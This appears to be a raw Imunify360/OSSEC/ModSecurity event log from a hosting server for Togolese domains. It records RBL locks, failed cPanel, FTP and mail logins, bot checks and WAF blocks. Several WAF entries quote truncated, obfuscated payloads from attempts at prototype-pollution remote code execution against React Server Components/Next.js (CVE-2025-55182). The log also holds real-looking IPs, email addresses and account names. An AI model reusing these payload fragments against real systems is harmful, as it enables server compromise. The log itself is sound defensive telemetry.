47.89.195.183 - - [06/Jun/2026:00:09:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791686&pdata=http%253A%252F%252Fgstock.soena.tg%253A2086%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780704594 HTTP/1.1" 302 0 gstock.soena.tg "http://gstock.soena.tg:2086/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.89.195.183


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.21.55.42
country_id: 1269750
description:
Jun  6 00:11:22 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.21.55.42 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.188.82
country_id: 6252001
description:
47.251.188.82 - - [06/Jun/2026:00:12:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869936&pdata=http%253A%252F%252Fsoenatechno.soena.tg%253A2086%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780704739 HTTP/1.1" 302 0 soenatechno.soena.tg "http://soenatechno.soena.tg:2086/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.188.82


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.136.183
country_id: 690791
description:
Jun  6 00:15:00 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.136.183 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [06/Jun/2026:00:15:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6461639&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-bac-1-resultats-probatoires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780704949 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-bac-1-resultats-probatoires/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.163.0
country_id: 2363686
description:
[2026-06-06 00:15:52 +0000] info [webmaild] 102.64.163.0 - aemahenon@centif.tg "POST /cpsess7719604827/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.26.122] != Current IP Address [102.64.163.0]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.182
country_id: 690791
description:
Jun  6 00:16:31 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.65.142.65
country_id: 798544
description:
Jun  6 00:16:35 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.65.142.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.65.142.65
country_id: 798544
description:
Jun  6 00:16:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.65.142.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.85
country_id: 3469034
description:
Jun  6 00:16:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.70
country_id: 732800
description:
Jun  6 00:17:17 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  6 00:17:53 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-06 00:17:55 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:60469: 535 Incorrect authentication data (set_id=email)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.56.164.245
country_id: 6252001
domain: auditeccandco.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/auditeccandco.com/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.228.61.143
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/655.png HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.231
country_id: 6252001
description:
Jun  6 00:19:33 ns5 pure-ftpd[2175870]: (?@147.185.132.231) [INFO] New connection from 147.185.132.231


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.217.144.79
country_id: 6252001
domain: www.hofbrau.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.168 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.182
country_id: 3469034
description:
Jun  6 00:21:07 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.94
country_id: 953987
description:
Jun  6 00:23:33 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.148
country_id: 690791
description:
Jun  6 00:23:51 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.148 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 207.102.138.19
country_id: 6251999
domain: ceni.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/in/out/qkssbq/jason.lee@henkel.com||User:root||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.101.202.119
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-25.209.101.202.119||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 66.93.163.135
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-25.66.93.163.135||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.19.58.24
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-25.89.19.58.24||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 74.0.103.247
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-25.74.0.103.247||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.20.75.184
country_id: 3895114
description:
[2026-06-06 00:25:57 +0000] info [whostmgrd] 190.20.75.184 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.88.94.125
country_id: 6252001
description:
47.88.94.125 - - [06/Jun/2026:00:28:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134441&pdata=https%253A%252F%252F154.70.82.246%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780705696 HTTP/2.0" 302 0 154.70.82.246 "https://154.70.82.246:2087/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.88.94.125


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-06 00:28:53 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:60623: 535 Incorrect authentication data (set_id=email)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  6 00:28:51 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.27
country_id: 690791
description:
2026-06-06 00:32:38 H=([77.83.39.27]) [77.83.39.27]:64548 F=<warris@flyhighfreight.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Get Your Select Bet Reward sepoladi.blogspot.pt gh||Email:lucienbproulx@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.27
country_id: 690791
description:
2026-06-06 00:32:48 H=([77.83.39.27]) [77.83.39.27]:64519 F=<Peecharika.Saengphon@barsan.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 144.124.196.21
country_id: 1512440
description:
144.124.196.21 - - [06/Jun/2026:00:33:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10315974&pdata=https%253A%252F%252Fcfpj.tg%252Fjkgc-258307letid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780706031 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/jkgc-258307letid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:144.124.196.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.208
country_id: 3469034
description:
Jun  6 00:37:13 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.208 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.193
country_id: 3469034
description:
Jun  6 00:37:35 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.193
country_id: 3469034
description:
Jun  6 00:37:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.193 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.171
country_id: 6252001
description:
Jun  6 00:40:33 ns5 pure-ftpd[2191515]: (?@147.185.132.171) [INFO] New connection from 147.185.132.171


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.107.0
country_id: 6252001
description:
[2026-06-06 00:42:03 +0000] info [cpaneld] 82.40.107.0 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.213.230.149
country_id: 1512440
description:
2026-06-06 00:43:35 H=([185.213.230.150]) [185.213.230.149]:59714 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.89.134
country_id: 6252001
description:
47.251.89.134 - - [06/Jun/2026:00:44:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131817&pdata=https%253A%252F%252Fdagl.tg%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780706674 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg:2087/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.89.134


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.78.32
country_id: 3469034
description:
Jun  6 00:44:39 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.78.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.16
country_id: 3469034
description:
Jun  6 00:45:03 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.16 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.80.35
country_id: 6252001
description:
[2026-06-06 00:45:07 +0000] info [cpaneld] 82.40.80.35 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.213.230.149
country_id: 1512440
description:
2026-06-06 00:45:33 H=([185.213.230.150]) [185.213.230.149]:17271 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.78.32
country_id: 3469034
description:
Jun  6 00:44:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.78.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.140.29.55
country_id: 3469034
description:
Jun  6 00:46:21 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.140.29.55 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.105
country_id: 1880251
description:
47.128.122.105 - - [06/Jun/2026:00:48:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789486&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-renaissance-complete-des-mairies%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780706925 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-renaissance-complete-des-mairies/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.105


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.88.33.136
country_id: 6252001
description:
Jun  6 00:48:08 ns5 pure-ftpd[2196661]: (?@47.88.33.136) [WARNING] Authentication failed for user [togofeed]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.179
country_id: 3175395
description:
Jun  6 00:49:16 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.179 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  6 00:49:21 ns5 pure-ftpd[2197387]: (?@103.245.236.231) [WARNING] Authentication failed for user [root]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.172
country_id: 3469034
description:
Jun  6 00:49:36 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.172 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  6 00:49:16 ns5 pure-ftpd[2197387]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.107.207
country_id: 3469034
description:
Jun  6 00:49:58 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.107.207 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 46.250.173.92
country_id: 3996063
description:
46.250.173.92 - - [06/Jun/2026:00:50:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6867816&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D6498&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780707007 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=6498" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:46.250.173.92


plugin: modsec
rule: 77093094
abuser: 40.87.20.23
country_id: 6252001
domain: metaart.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var nde=arguments['\\\\x31'];var slye=nde;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.151
country_id: 3469034
description:
Jun  6 00:50:14 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.172
country_id: 3469034
description:
Jun  6 00:49:52 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.178.158.46
country_id: 1269750
description:
Jun  6 00:49:53 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.178.158.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.243
country_id: 2921044
description:
Jun  6 00:54:25 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.243
country_id: 2921044
description:
2026-06-06 00:54:27 dovecot_plain authenticator failed for H=tor-exit-16.zbau.f3netze.de (s2dqdkd6i17ndgnwu6myjdbqnk) [185.220.100.243]:60680: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Reach Your Covered Extra vamvozmviigr.blogspot.be re||Email:suxustechnology@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:00-55.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.213.230.149
country_id: 1512440
description:
2026-06-06 00:56:33 H=([185.213.230.150]) [185.213.230.149]:20882 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-06 00:56:52 +0000] info [cpaneld] 185.213.83.243 - a.kesso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.kesso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.16.88.243
country_id: 1269750
description:
Jun  6 01:01:19 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.16.88.243 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: nps.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.51
country_id: 732800
description:
Jun  6 01:01:00 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.46
country_id: 1269750
description:
Jun  6 01:02:43 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.46 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 4.227.232.143
country_id: 6252001
domain: www.messagerie.pnls.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_9964e060\":false,\"__e679bf60\":\"ddfa\",\"reason\":-1,\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var rd=arguments[0x1];var bcpqa=rd;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 4.227.232.143
country_id: 6252001
domain: www.messagerie.pnls.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.190
country_id: 3469034
description:
Jun  6 01:02:54 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.46
country_id: 1269750
description:
Jun  6 01:02:51 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.183
country_id: 3175395
description:
Jun  6 01:03:34 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.183
country_id: 3175395
description:
Jun  6 01:03:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  6 01:03:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-06 01:03:50 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:60698: 535 Incorrect authentication data (set_id=email)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.108.24
country_id: 3469034
description:
Jun  6 01:06:10 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.108.24 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: digilix.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"ns_9bec943d\":0.0,\"then\":\"$1:__proto__:then\",\"_response\":{\"_prefix\":\"var oelr=[].slice.call(arguments,1)[0];var qonh=oelr;try{var _v=((0,eval)(global[[\\\"B\\\",\\\"uff\\\",\\\"e\\\",\\\"r\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.113.75
country_id: 3996063
description:
Jun  6 01:09:41 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.113.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.113.75
country_id: 3996063
description:
Jun  6 01:09:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.113.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun  6 01:12:37 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.191.220.137
country_id: 3865483
description:
Jun  6 01:12:14 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.191.220.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.248
country_id: 3469034
description:
Jun  6 01:12:35 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.248
country_id: 3469034
description:
Jun  6 01:12:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun  6 01:14:18 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  6 01:13:52 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-06 01:13:54 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:52697: 535 Incorrect authentication data (set_id=accounting)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.219.219.249
country_id: 1269750
description:
Jun  6 01:16:25 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.219.219.249 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 40.87.20.23
country_id: 6252001
domain: nps.tg
description:


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.131.203
country_id: 1880251
domain: www.arse.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/fonts.googleapis.com||User:arsetg||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  6 01:25:22 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
